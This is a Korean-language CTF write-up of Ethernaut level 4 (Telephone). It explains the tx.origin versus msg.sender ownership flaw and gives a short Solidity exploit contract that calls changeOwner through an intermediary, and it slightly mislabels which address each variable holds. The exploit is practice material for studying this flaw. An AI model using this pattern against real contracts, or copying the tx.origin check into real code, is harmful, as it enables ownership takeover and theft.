// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
Claim ownership of the contract below to complete this level.
Things that might help
See the "?" page above, section "Beyond the console"
이더넛 4단계 문제이다. 해당 문제는 msg.sender와 tx.origin을 비교하고 그 값이 다르면 changeOwner 함수의 인자로 들어간 주소로 owner를 변경하는 간단한 문제이다.
그 둘의 차이부터 알아보겠다.
msg.sender
- 함수의 호출자
- 스마트 컨트랙트 또는 사용자(EOA)가 될 수 있음
tx.origin
- 실제 트랜잭션이 시작한 사용자(EOA)
- 스마트 컨트랙트는 서명된 트랜잭션을 보낼 수 없기 때문에 tx.origin는 컨트랙트가 될 수 없음
즉, 이 문제에서는 다른 CA로 트랜잭션을 시도하고 함수를 호출한다면 tx.origin의 값은 트랜잭션을 처음 시도한 나의 CA일 것이고, msg.sender은 changeOwner 함수를 호출한 Telephone 컨트랙트가 될 것이므로 그 둘의 값이 달라질 것이다.
다음은 해당 시나리오를 반영한 최종 익스플로잇 코드이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract Exploit {
function exploit() public {
Telephone(0xAE897B9551b8E43714EdDf717EfBE1031723c9a0).changeOwner(0x129DfEC36B5a4618f66DF6e435304A4044B7C167);
}
}
최종적으로 문제를 풀 수 있었다.
🚩
'Write Up > Ethernaut - 블록체인 워게임' 카테고리의 다른 글
Ethernaut - 6단계 (Delegation) (0) | 2023.11.07 |
---|---|
Ethernaut - 5단계 (Token) (0) | 2023.11.07 |
Ethernaut - 3단계 (Coin Flip) (0) | 2023.11.07 |
Ethernaut - 2단계 (Fallout) (0) | 2023.11.06 |
Ethernaut - 1단계 (Fallback) (0) | 2023.11.05 |